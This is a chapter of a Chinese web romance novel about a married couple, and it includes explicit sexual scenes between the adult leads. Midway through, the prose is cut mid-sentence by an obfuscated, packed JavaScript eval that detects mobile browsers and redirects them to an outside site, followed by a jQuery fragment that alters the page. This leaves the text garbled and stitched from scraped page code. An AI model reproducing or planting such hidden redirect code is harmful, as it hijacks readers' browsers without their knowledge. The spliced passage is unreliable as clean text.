70. [锁] [此章节已锁]
作品:《春声潮落[先婚后爱]》 朝晖刚从浓云边儿冒了个尖,细屑似的日光与薄暮轻雾在微风里翩跹,漫天珠光金箔,映亮华大莘莘学子的纯真面容。
其中一个少女——
新中式短款狐狸毛皮草,米白琵琶国风盘纽,镶钻方正大翻领,对称收腰隐形水钻链条口袋设计,里面一件纯白真丝衬衫,领口是标致的长尾蝴蝶结,蝶结处也作水晶亮钻夹别过。
再搭配一条珍珠黑的蓬蓬短裙,里面的裙撑是黑蕾丝用料,外裙是蓬鼓的轻纺布,用极细的金线绲出菱角暗纹,再以银线横纫三条类似蛋糕裙的纹路,增加面料的立体与层次感。
走路间,少女两条玉琢的纤细长腿懒懒地一摆一动,在微透镶金的黑蕾丝蓬蓬裙里,白得鲜亮透明,配上她刻意精细描绘的气质千金妆。
在一众学子中,甚是扎眼。
“许班,你不是说讲座十点开始吗?我们七点就到,是不是也太早了点?”
少女特有的江南软哝嗓音,含着几分惫懒懒的调,落进许宜纯的耳里,听得她心都快化溶成了一团。
“阮神,我没抢到票,江齐光那小子说好的给我俩留票,但昨晚却说票不在了。”
“所以……我们是逃票?”
“他的票虽然是不见了,但座位肯定还空着嘛。”
“我们只需要找准二排C位就行。”
许宜纯啃了口新鲜出炉的三明治,抬手把两只民国复古风的圆眼镜推至鼻尖,朝说话的少女看了眼。
高度近视加模糊日晕的加持下,她眼里的少女眉眸若柳,含着一抹荡漾的潋滟春水,两片低饱和度唇瓣,水嘟嘟的,唇肉也生得饱满,像一颗圆润鲜湿的蜜桃,待人吮尖采撷。
“阮神,还好我也是女孩子。”
“?”
许宜纯叼住巴掌大的三明治,双手做出狼爪状,在空中抓前抓后挥了挥。
“否则我会把持不住,扑你入隔壁小树林。”
宋暮阮闻声惹出一抹俏丽的笑。
旋即,双手交叉环胸作出小白兔模样,伪装惊张地向后退让。
“坏啦,许灰狼来啦!宋小兔好怕——啊!”
“阮神!”
意料之中的疼痛并没有袭来,宋暮阮落入一个坚实有力的怀抱里,她皱紧的眉眼后怕地撬开一只。
明昳昳的日晕里,男人寸发粗黑,优越眉弓与深邃眼窝高低错落,若有似无的笑意深蕴在弓形薄唇两侧,欲要深究揶揄的打算。
“这位宋小兔同学,没事吧?”
他的嗓音可以刻意压得很低,近乎只有他们交耳相闻。
宋暮阮张了张西柚唇瓣,连忙从他怀中立直软腰,用行动刻意驱赶这突如其来的旖旎时刻。
余光瞥见许宜纯嘴叼的三明治呈直线被地心引力吸住,她清了清喉咙,稳住与男人素不相识的人设。
“谢谢你。”
“不用,”萧砚丞捋了捋被少女抓皱的衣袖,也恢复一派的生人勿近模样,轻询忙着捡三明治的那位女生,“许灰狼同学,请问3号楼怎么走?”
“?”
宋暮阮绷住笑。
许宜纯正心疼着自己的早餐,猛地听见对面的大帅比在呼唤自己,也顾不上心疼了,给三明治尸体套上透明塑料袋,几步走到那个福利建模男人身前,又忍不住多看了几眼。
男人一席云母黑及踝大衣,驼羊毛面料搭配那不勒斯经典肩袖设计衬得他身姿疏隽,内里是一套同色系银竖条细纹西装兼真丝白衬衫,一条细闪低调的路易家纯墨蓝灰暗花领带,整体黑白基调的搭配,无多余堆砌装饰,却透出一种与生自携的矜贵慵适。
“学长。”
许宜纯也不知怎么的,或许是应付惯了,在校园里看到年龄比自己大的异性,都会尊称一声学长。
但很显然这男人不是象牙塔的,她忙改口道:“先生是要去3号楼吗?好巧,我们也是!”
最后一句话说出,两只复古圆眼镜里的杏眼开始发光。
宋暮阮绷弯了唇角,忍俊不禁地上前,挽过说话人的细胳膊,小声提醒道:
“许班,你的军哥哥知道了,可是会吃醋的哟。”
“好吧……”许宜纯遗憾地多看了眼那建模先生,小手指向东北,“3号楼需要先生您往前百米,向东拐弯,再直走八百来米,左手边那栋的四楼就是学术报告厅。”
“谢谢。”
萧砚丞薄唇弯了弯,谦和道谢,眸光却别有深意地溜过另一位沉默不语的少女。
少女吮了吮唇瓣,奶茶橘吮掉丁点水光,在霎那的目光对衔之际,她不自然地偏过脸,耳尖是娇嫩欲滴的一点红。
“再见,建模先生。”
许宜纯看着男人径自上前的疏落背影,后悔莫及地呢喃着。
“走了,许灰狼同学。”
宋暮阮牵过她的手,几个小碎步跟上萧砚丞的脚步,刻意保持着前后一米远的距离。
许宜纯为她这个举动点赞,激动地打开塑料口袋就要吃,蓦然想起这三明治刚刚掉在地上过,叹了口气,转而用话题转移饥饿。
“诶,阮神你和你那个处男小男友怎么样了?”
前面的男人身形一顿,宋暮阮险些踩上他的鞋跟,红着脸腮,她斜了眼身旁这位大早上就聊颜色话题的人。
后者倒是调皮地吐了吐舌尖,拉住她的小手,故意拉开与那位建模先生的距离。
“你和小处男是不是要掰了?”
看少女不给回答,许宜纯眨了眨眼,提出一议:“要不我去给你要那位建模先生的微信?我看他刚才一抱你,你下意识就塌腰软进了他怀里,分明是对他有意嘛。”
宋暮阮:“……”
每天五六七八九练,能不见他就塌腰吗?
是狗都得练出来的,好吗?
何况她是一枚聪明无敌懂得举一反三的美少女。
……不仅能塌腰,现在还能自动发水!
许宜纯碰了碰少女的柔肩。
“想什么呢?那么忿忿。”
“没,没什么。”
宋暮阮胡乱捉住许宜纯的手腕,几步超越男人,哒哒哒,蹬着铆钻钉的绒面穆勒鞋就往学术报告厅小跑去。
-
两位少女刚落座到空无一人的报告厅之际,一道冷感的嗓声也翩然而至。
“嗨,宋兔子与许灰狼同学。”
许宜纯抬起头,讶疑出声:“咦,你也是来参加讲座的吗?”
“嗯。”
萧砚丞落座到宋暮阮左手边的空位。
“……”
气氛顿时陷入静寂。
许宜纯冲宋暮阮扬下巴,用口型问道:“要不要?机不可失失不再来。”
“或者我先替你要到联系方式,你决定好了,再找我要。”
不待宋暮阮应声,许宜纯向前倾身,隔空冲那边看手机的建模先生挥了挥手:
“嗨~先生,请问方便加个微信吗?我有一个超级漂亮的大美人儿朋友,正巧喜欢你这类型。”
萧砚丞眸光略过隔壁揉额的少女,扬了扬唇:
“请问许灰狼同学,你所谓的朋友是我身边这位吗?”
“那个……嘿嘿,”许宜纯两只小手尴尬地抹了抹,“不是的,我们宋兔子同学已经有小男朋友了,是另——另外一个朋友。”
“很遗憾,我想如果是这位宋兔子同学要我微信的话,我会极尽绅士之道,至于其他的人——”
萧砚丞握着手机,两根修节指骨捏住底部,一圈一圈地玩弄着,饶有兴致的眸光不经意滑过宋红兔的幼圆脸蛋,在许宜纯来回惊巡的游移视线里,他堂而皇之地递过手机——
“宋兔子同学,方便加个微信吗?”
许宜纯:“!”
靠,姐妹,桃花运来了,真是挡都挡不住。
清光朗朗下都挖到墙角根了!
“你放心,”萧砚丞点开微信二维码,慢条斯理地善后,“我可以解决好你那个,小男友。”
他故意停顿了两秒,把小男友三字咬得重而清晰。
“算了吧,这位英俊帅气的先生,我还是更想和小男友在一起。”
宋暮阮才不敢加他微信呢,要是当着许宜纯的面,扫出[萧嫖客(欠我岛)]这六字,她不得尖叫引来看客。
“行。”
萧砚丞深深看了她一眼,然后徐徐起身,挺拔身姿下了阶梯,一步一步,踱步出正门。
许宜纯一副你没救了的眼神看着自己的好友,笃定结论。
“看来你喜欢你的小处男。”
宋暮阮默了默,纠正措词。
“……只是生理喜欢。”
“那么——”许宜纯伸了个懒腰,“他肯定给了你愉悦的床上体验。”
“还,还好吧。”
宋暮阮算是承认他的手活、嘴活和鼻活,比那真活要好太多!
“你们什么时候发展稳定了,带来校园让我溜个眼?”
“好啊。”
宋暮阮不假思索地答应,却拿出包里的金黄可颂,想要堵住对方的小嘴巴。
“你吃吧,我去洗手间。”
许宜纯开心接过。
“谢谢这位人美心善的仙女,那我给你留一半!”
“不用,你吃吧,我化妆时已经吃了些饼干和牛奶。”
说完,宋暮阮便下了阶梯,往门外走去。
-
门外,明亮宽长的廊端,依稀映出几人的身影。
高的那个,鹤立鸡群,被两位满脸娇羞的女生围住。
宋暮阮当即小猫垮脸,趿拉着毛茸轻巧的穆勒鞋,几步走过去。
“借——过。”
她刻意把二字拉得冗长。
那只被拥趸的萧鹤,双手抱臂,像是在看她,又像是越过她脑袋顶的黑绢花小丸子看墙面某知名校友创作的一幅早冬柳莺啄雪柿图。
宋暮阮也偏了偏脸,看向身后的木框小画。
画里,一只体型娇小圆润的柳莺,羽翅呈通体橄榄绿褐,胖滚滚的肚子比雪逊了四分白,柔美软糯的曲线映于漫天盖地的雪色里,而枝头的一颗果肉泄漏,红柿子皮垂耷成矩形,它们在秃枝一方一圆,相得益彰,不经意囊括出内方外圆的传统处世之道。
其中一位梳着两马尾小辫的女生在宋暮阮偏头时,多看了眼,开心顿时洋溢满脸。
“请问是宋学姐吗?我看过你的直播,讲得很耐心,人美音甜心更甜!”
“我现在还关注你呢,不过你已经好久没更新视频了。”
学妹说到最后,声音有点委屈。
宋暮阮倒是没料到去趟洗手间也能遇上粉丝催更,她垮沉的唇角向上弯了两分。
“接受这位小学妹的催更,这周就更新。”
“好耶!”
一起欢呼的,还有另外一位高马尾隐藏粉丝属性学妹。
“……”
面对粉丝,宋暮阮没法再摆脸色,见她们两人乖巧让路,她不得不走进洗手间的——
第一格。
正对公共洗手台的区域。
恰好能听见洗手台外廊道里的对话。
“啊,你也是我们建筑系的学长吗?!”
这声,毫不掩饰的欢喜。
“噢,已经毕业了呀……”
那声,袒露无疑的遗憾。
“学长,可以加个微信吗?如果我有学业困惑可以找你——”
欢喜声被他打断。
“抱歉,我和女友感情稳定。”
“那打扰你了,学长。”
话音刚落,一阵脚步声凌乱伤心地远去。
宋暮阮立在门后,撅了撅唇瓣,算是对廊道里那位打完严防死守男德组合拳的萧夫君表示认肯。
“出来。”
门外,响起一声慵散噙温的嗓音。
宋暮阮指尖搭上黑柱门把手,刚准备打开,忽又生出了逗趣之心。
“偏不出来,刚刚要不是我来,某人肯定给微——啊。”
一方黑影如疾风卷入,盖上她的娇小身躯。
她翘出食指,险些被唾沫岔了声。
“咳,你你你怎么进女厕所?!你也不怕有人!”
她惊疑的甜音里,含着一丝道德训斥。
萧砚丞关上门,刻意压低的嗓音在方寸格子间里显得格外醇哑。
“自然是确认过无人,才进来的。”
宋暮阮:“……”
3号楼是华大建校时修建的,厕所格太少,自她这里朝里数去就只有三格,而且她这格的锁还坏了,需要她撑着门如厕。
当然,她也并没打算在这格子间憋屈解决。
“那你进来干嘛?”
身上笼着他的灰影,如大型蛛网密织的投映,宋暮阮咕哝了声。
萧砚丞长手一伸,揽过她的腰肢,薄唇抵住那只软红小耳。
“想亲自问问萧太太什么时候背着萧某找了个——处男小男友?”
宋暮阮气息一紧,在他怀里扬起下巴尖儿,两只柳叶状的水眼黑漆漆的,衔上他的眸潭,骤时一嗔。
“你明明知道就是你……哼。”
她鼓圆两腮,玫瑰色光感的腮红在灯下娇媚得水润,像蜜桃毛茸茸果皮下的水肉,待他啃咬、侵蚀。
“唔——妆……”
宋暮阮刚来得及说个妆字,男人覆盖的灰影从她额心倏然抽离。
心里,微微失落。
她抿了抿唇瓣,有些后悔方才下意识的婉拒。
“哒。”
男人的大衣披在她身上,纽扣在她的镶钻大翻领上磕了下,发出轻微的一声细响。
宋暮阮困着疑惑看去,只见两只冷白大手扣合大衣领口,收回的时候还不忘占她便宜,轻轻捏了下她的粉腮。
她拍掉他的手,那两手受力自发生了意识似的,自顾朝她裙扣里钻。
这条梦中蕾丝蓬蓬裙没抢到XS,只好买了个S码,今日特意用一颗鸢尾蝶造型的蜜金绿猫眼石长形锁针别收略微宽松的裙腰,此刻被他轻松褪去。
她飞快地抓紧裙腰,又惊又羞地瞪了眼身前这个放肆的男人。
面对这样一双含羞带怒的柳叶眼,男人的唇角撩出几不可见的弧度,探索未停。
“嗯哼......”
宋暮阮腰身一软,塌上了侧墙,指尖触到冰凉瓷砖,细细一颤,触电似的蜷进了男人的驼羊毛大衣里,接着,又一声的嗯哈,薄如纸片的肩背在笼裹的暖热大衣里上下摩挲。
“娇气。”
一道冷感嗓音含着薄笑,递入她耳。
宋暮阮颤哆着撑开长睫,透明莹亮的香露映入眼心,沿着男人的修节指骨,缓缓流下,裹描出她欲望的实像。
她难为情地磨了磨双膝,旋即伪装愤怒地鼓起靡润的樱桃腮。
“明明是你自己不懂控制速度。”
“是吗。”
萧砚丞咬出俩字音,在少女的羞嗔下不疾不徐地蹲下。
五根湿亮指骨握住她的纤白脚踝,听闻上方咽坠的一丝轻吟,他勾起一侧唇角。
“站好。”
命令发落,两片弓形薄唇沿香草河水上游恶意地一咬。
宋暮阮的身子冷不防一抖,膝盖受激猛地折弯,险些向前扑去,萧砚丞左手及时掐住她的腰侧,在下方撂出尖端的四字——
“扶稳,坐好。”
宋暮阮闭合微张的奶油橘瓣,细小胳膊穿过他宽大的衣袖,两只小手打开,像壁虎的小巴掌脚似的,一只贴在冰凉的白瓷砖,另一只扣住银灰实木门板,果真不动了。
坐?
坐哪?
噢——鼻梁。
“……”
不到一秒的寂静过后,方寸格子间再度响起窸窣水声。
宋暮阮被火与冰双重煎熬着,想到了那幅柳莺啄柿肉图。
“嗡嗡——嗡嗡——”
镶钻小方盒包里的手机作响,振声韵律缓慢,一声间断,隔了半秒,又是一声,绵绵不休,给男人提供了一个合乎韵律的双重奏曲。
“咦,阮神不是说在洗手间吗?”
一声疑惑由远及近,宋暮阮眉眼里的迷离瞬间消弭,她动了动腿,却被男人锢得不能动弹。
察觉脚步声笔直朝她这格走来,她另一只腿忙不迭架上他空闲的左肩,倾过上身,两只小巴掌交叠着,铆劲抵住门板。
门外,许宜纯的声音传来——
“阮神,是你吗?”
许是又压上了那该死的驼峰,宋暮阮含糊哼出一声,算作应答:“嗯……”
“这么久,是肚子不舒服吗?”
朋友关切的问候传入耳畔,宋暮阮心下生了丝疚,着急要从他肩头下来,却被托住。
倏而一下挣,微耸的骨节碾过,她抵门的双手紧紧抱住他的脖颈,贝齿狠狠咬上他的粗黑发梢。
下方的男人有所预料似的,一只胳膊肘接替抵门任务,单手揽握着少女的软腰,轻松把她放下,抱在怀里。
旋即,长腿伸出,踩下冲水键。
“哗啦——唰——”的一声水响爆发,耷拉在他右肩的小脑袋,释放出一声婉转动听的呻响。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239953|160473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他安抚似的拍了拍她细颤的腰肢,给出吝惜的赞赏。
“乖。”
宋暮阮一口叼住他的杏仁白耳垂,在水响里浅嗔了声。
“坏豹!”
这时,门外一声叮的清脆响,许宜纯的声音欢快传入。
“阮神,军哥哥早安消息来了,我去外面等你哟~”
“宋兔子同学不喜欢?”
萧砚丞偏头,去寻她小猫炸毛的红脸。
宋暮阮不肯给看,趴在他肩头,悄悄顺了顺气息,尖下巴故意去磨那鼓蓬的肩胛提肌。
“一个优秀的总裁不会钻人裙底。”
“一个有职业操守的助理也不会高/潮。”
“……”
好吧,她说不过那摩墨斯的嘴。
宋暮阮闭紧唇,索性不再说话,积蓄体力。
然而那张摩墨斯的嘴却不依不饶。
“宋兔子同学,萧某合理怀疑你对我别有居心。”
宋暮阮恨恨冒出一咕噜话:“只是生理喜欢而已,萧总想多了。”
右肩上的宋兔子显然已经进入贤者模式,吐出的字音不似方才黏糊的娇软,隐约罩着几分清离的凉薄,一如他坦白身份的那个清晨。
是上位者对下的一丝高贵施受,要不要在他,不要的话就转手另允别人。
萧砚丞失笑,往上颠了颠少女。
望着肩头岿然不动的后脑勺,他收拢两根冰白指骨,捏住她塌耷的黑绢花小丸子。
“还在生我的气?昨天是我不对,萧太太。”
“你哪里不对了?”
看宋兔子终于肯正眼瞧他了,萧砚丞轻轻放她落地,一双浅眸凝注着她,从未有过的虔真。
“我是个妒夫,总以为别的男人找太太搭话,是觊觎我家仙女贤妻的美貌。”
他握住她的指尖,揣在左胸怦腾处,两片亮润的弓形薄唇郑重起誓。
“萧妒夫会改,请宋仙女给个思过机会。”
“哼。”
宋暮阮从鼻腔里挤出一声,绷着鲜亮红的蜜桃腮故意迟疑了几秒,才大方表示原谅。
“那就看你表现咯~”
“盖章。”
看萧砚丞作势俯颌,就要落吻,她两手飞快撑住他的双肩。
“等会。”
一双柳叶眼捕见他颌绷的不悦动作,她伸出指尖,在他唇角轻轻刮下一抹亮湿的莹露。
“你……我的,”她不知道怎么说,毕竟这是她的东西,但她不想吃,只好用哄小朋友的语气规范道,“要擦干净才可以喔。”
萧砚丞捏住唇前的水嫩指尖,悉见她一瞬愣怔的眉眼,薄唇缓缓凑近,吮含住那枚透明香露盖。
甚至,似乎很享受——
他竟抛弃多年餐食礼仪,当着她面,舔舐出了声。
“!”
宋暮阮被火烫似的,倏地收回了手。
在两道略略责备的眸光里,她眉眼鼻皱成一团,索性踮起脚尖,堵住了那两片欲要开口的樱亮薄唇。
-
宋暮阮也不知萧砚丞怎么了。
自她上了后座起,他就公豹发情期一样,逮住她唇就不放。
“疼……”
宋暮阮撑开眼睫看去,是他的“胸针”。
……准确的说,是她别裙腰的锁针。
男人闻声,扯下锁针,有一搭没一搭地在他修长指间玩弄,两颗蜜油金绿的猫眼石,眼线细直活亮,真若小豹猎眼,此刻正和男人的一对晦暗幽眸,眈眈地注视着满脸酡红的她。
如同掉进了猎人陷阱,宋暮阮润了润嗓口,不太自然地偏过脸,只肯给那两道视线露出粉红羸弱的颈柱。
殊不知,这样不经意露出脆弱之处的她在男人眸里,尤为显得像一只不做挣扎,任他吃掉的可怜幼兽。
他敲了敲隔板。
小方默契加速,茶褐色车窗外,树影急速倒退,宋暮阮躺在后座上,依稀只留得住天上的那抹尖钩月。
“……”
时过境迁。
此刻,这尖钩变成了萧坏豹的利器,宋暮阮蜷缩着粉红娇身,抓住床沿,忍住一声情动的哼唧。
今夜的萧砚丞,好生奇怪。
一句话都没有。
没问她疼不疼,也不问做几次。
只管翻来覆去从墙到沙发再到床,无间停地摆弄着她,仿佛她就是他的硅胶娃娃。
“呜嗯——”
宋暮阮一边颤抖着哼唧,一边掉出了眼泪。
男人粗重的气息擦过她的红耳尖,吻如雪花密密匝匝地落下,迅疾卷舐掉她面上的泪痕。
“抱歉,我轻点。”
“……”
这根本不是轻不轻的问题。
宋暮阮委委屈屈地抽噎了下。
早知如此,她根本不该承认对他有生理喜欢。
一点也不划算,这场交易她把自个儿也投进去当本金了……
“不做了!”
如是这样想着,她铆劲一把推开了他,兀自裹进被窝里,气呼呼地开始屯觉。
男人也没再纠缠。
长手拾起手机,靠在床头,伸手替少女掖了掖被角,点开元卓的对话框——
[什么是生理喜欢?]
元卓深刻贯彻上司消息秒回的原则:[萧总,我也不知道。]
[你不是擦边零零后?]
元卓:[萧总,我98年初的,不算擦边。]
[中间隔了个七百天的东非大裂谷。]
萧砚丞调出左理堂的微信,转发——
[什么是生理喜欢?]
左秘书:[萧总,生理喜欢是由荷尔蒙驱动的身体本能,常与视听触嗅等感官挂钩,是一个人对另一人的原始冲动,这是人类迅速搭建人际关系的直接诱因。]
萧砚丞直接略过一番名词解释,敲出几个字——
[所以,摒除生理二字,也是喜欢?]
[可以这么理解,生理喜欢与心里喜欢密不可分,相辅相成,二者缺一不可。]
“啪——”
宋暮阮正快要合眼睡着,软腰忽即被一只劲健胳膊捞过。
她惊愕睁开眼,撞进一双星亮压抑的眸里。
“你——”
一个字音被卷进了唇舌里。
良久。
萧砚丞放开她,鼻骨上端的微耸骨节磨了磨她略喘的樱色唇瓣。
“生理喜欢,一律并作喜欢处理。”
“?”
宋暮阮愣愣回过神来,噗嗤一声笑。
……什么嘛,他一晚上闷不做声,原来是在琢磨这件事。
果然。
老男人无处安放的高自尊。
笑意未退,她轻快地揽过他的颈,小樱花唇瓣张了张,欲要对他的强词夺理作一番纠正,忽然——
她恼眼瞪他!
“你说好不对我来硬的……”
萧砚丞吻了吻她浸出香汗的额角,一路贴吻而下,捕见那两片自发咬含的唇瓣,他眉心隆起游丝歉意。
“抱歉,理智崩溃,暂时无法言听计从。”
“明天我要去欧洲处理事务,忙完还得去天誉那儿,他公司有几个项目专利找我合作。”
宋暮阮骤时软下眼,恼意混着淡薄的不舍,在轻红眼眶里水汪汪地打着转。
“要去多久?”
“三周。”
她不悦地撅高唇瓣,咕哝一句。
“三周……好长。”
转瞬,话里的不悦褪尽,恢复了往日的甜嗓,自我安慰道:
“没什么的,我们领证后有半年没见呢。”
掌心无声握捏她的桃红脸腮,萧砚丞落下一个轻如雪花的誓吻。
“宋小兔记得等萧坏豹。”
天欲亮。
少女已沉沉睡下,一只小手环着男人的颈,粉粉嫩嫩的指头随着呼吸,无意识动了动。
萧砚丞六点生物钟准时醒来,轻捉过颈后的小手,眸底绵柔密织成缱绻爱意,掖了掖被角,然后起身。
取出床边最下格抽屉里的豹子玩偶,他轻轻放在另一只缎面鹅绒枕上。
冷节指骨拨了拨玩偶的毛茸黄黑斑纹脑袋,一双橙绿如琥珀剔透的豹眼偏过,静静投落在梦乡里的少女。
他也把眸光克制地压在少女的娇颜,一根修纤细长的小拇指勾住她自然握蜷的小拇指。
薄唇几经轻翕,溢出一缕怀旧淡邈的嗓声。
“宋家小孩,不可以再失约。”
三周而已,他已寻她十七年。